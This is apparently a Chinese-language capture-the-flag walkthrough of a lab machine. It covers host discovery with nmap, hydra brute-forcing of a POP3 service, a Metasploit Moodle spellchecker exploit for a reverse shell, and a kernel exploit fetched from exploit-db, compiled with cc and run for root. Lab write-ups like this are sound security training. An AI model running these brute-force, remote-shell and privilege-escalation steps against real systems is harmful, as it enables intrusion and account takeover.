知识点
1. gcc编译和cc编译
gcc(GNU Compiler Collection)是一套用于编译C、C++、Ada、Fortran和其他编程语言的编译器。它是由自由软件基金会(FSF)开发的一个自由软件,它支持几乎所有主流的操作系统和硬件平台。gcc支持多种不同的编程语言,并且它是许多操心系统的默认编译器。
cc编译器是一种C程序编译器。主要用于编译C语言应用程序。
总体来说,gcc是更通用的编译器,支持多种编程语言和多种平台,而cc编译器只能编译C程序,它通常被认为是UNIX系列操作系统的标准编译器。
2. POP3
POP3(Post Office Protocol 3)是一种用于电子邮件的标准通信协议。
POP3命令:
user username 认证用户名
pass password 认证密码
list n 返回指定邮件的大小等,如果没有指定,返回所有的
retr n 返回邮件的全部文本,如果没有指定,返回所有的
top n,m 返回n号邮件的前m行内容,m必须是自然数
quit 结束会话
3.Moodle
Moodle是一个开源课程管理系(CMS),也被称为学习管理系统(LMS)或虚拟学习环境(VLE)。
4. 什么是pspellShell、GoogleShell、PSpell
PSpellShell是一个基于PHP的拼写检查脚本
GoogleShell是一个通过调用Google搜索API来实现的命令行搜索工具。
PSpell是PHP语言的一个拼写检查扩展,它可以检查文本中的拼写错误并提供拼写建议。PSpell是PHP语言的一个拼写检查扩展,它可以检查文本中的拼写错误并提供拼写建议。
实现原理:PSpellShell通过调用PHP的pspell扩展和GEN Aspell或者NetSpell等拼写检查程序来实现,而GoogleShell则是通过调用Google搜索API实现。
渗透过程
实验环境
靶机:10.10.10.144
kali:10.10.10.128
1. 主机发现
arp-scan 10.10.10.0/24
或者
netdiscover -i eth0 -r 10.10.10.0/24
2. 服务探测
nmap -sV -sS -p- 10.10.10.144
既然开了80端口,那就使用whatweb查看查看相关的web服务版本,没有什么有用的信息!!!
浏览器查看查看(注意:好男人都注重细节!!!一定要仔细,虽然没有用。)
在这里有提示一个登录界面,浏览器查看查看(我首次玩的时候,忽略了,真是猪!!!)
按照以往的思路,找用户名、密码!!!
先查看源代码(一定要看,求求你!)
在这里,有一个js文件,管他三七二十一去看看,不忽略任何细节,一定要做到粗中有细。
在这里找到两个人名:Boris、Natalya,还有一段特殊编码,经过网上查看是html编码,使用在线解码工具!!!
解码为:InvincibleHack3r,现在账号名、密码都有了,那就去尝试登录登录。
最终账号/密码为:boris/InvincibleHack3r
通过查看,说pop3开放在非常高的端口上,结合nmap扫描出来的信息,知道pop3开放在55007上。
3. POP3服务爆破
思路:通过前面收集到的用户,尝试弱密码登录到邮件服务,查看邮件,看看有没有什么敏感信息!!!在此之前先扫描扫描目录,发现没有什么有用的信息,目录扫描一定要做。
echo -e 'natalya\nboris' > username.txt
hydra -L username.txt -P /usr/share/wordlists/fasttrack.txt 10.10.10.128 -s 55007 pop3
通过hydra得到的信息:
natalya:bird
boris:secret1!
使用nc登录POP3查看邮件内容:
boris没有发现有用的信息,通过查看natalya邮件,得到一个账号、密码,并且有一个域名!
用户名:xenia
密码:RCP90rulez!
域名:severnaya-station.com
网址:severnaya-station.com/gnocertdir
在kali中设置/etc/hosts设置domain
浏览器访问 severnaya-station.com/gnocertdir 并登录
浏览一下,查看有没有什么漏洞或者有用的信息!
经过查看发现一封邮件并且Moodle版本是2.2.3。
是doak发送的,同样使用hydra爆破一下!
获得doak密码:goat
使用nc登录邮件服务,查看doak邮件
发现用户名:dr_doak
密码:4England!
登录一下!!
发现有一个S3cret.txt文件,下载下来,查看查看
又是英文(看来英文很重要啊!!!),查看其中指定的目录,是一张诡异的照片。
使用strings查看图片信息
其中有一个base64加密的内容,在线解码一下!
用户名:admin
密码:xWinter1995x!
使用该账号、密码继续登录一下,这个是一个管理员账号,还是一样的思路,查看有没有什么漏洞或者重要信息!!!
兜兜转转没有发现什么有用的信息,英文也看不懂!!!
上面收集到该域名是Moodle,那就在msf中搜索看看有没有相关的利用载荷!
这里使用1,设置好参数!
运行一下,尝试反弹shell。
发现运行失败!这里将默认的Googleshell设置为PSpellShell
再次运行,发现运行成功!
输入shell,获取反弹shell,或者通过
python反弹!!!
python -c "import pty;pty.spawn('/bin/bash')"
4. 提权操作
到这一步已经成功了一半了,还是熟悉的步骤!!
- 查看目标系统的内核、版本号;
- 查看目标系统上的敏感文件、目录;
- 查看特殊权限,是否能SUID提权
- 上传漏洞检测脚本
查看系统内核信息:
查看特殊权限:
find / -perm -4000 2> /dev/null
或者
find / -perm -u=s type f 2> /dev/null
并没有发现什么可疑等等特殊权限执行文件!!!
那就上传漏洞检测脚本
为漏洞检测脚本添加执行权限,然后执行
查看目标主机是否安装wget,如果安装了就直接使用wget下载https://www.exploit-db.com/download/37292 利用载荷脚本,根据脚本中的提示运行脚本,使用gcc编译源代码,但是目标系统上没有安装gcc编译环境,那就使用cc编译
cc -o exp 37292.c
chmod +x exp
./exp
获得root最高权限!查看flag!!
5. 总结与反思
- 对一些服务漏洞还是不够了解,不能看到端口服务就知道下一步该怎么操作
- 还是不仔细,容易忽略一些重要的地方!!
- 还在路上!!!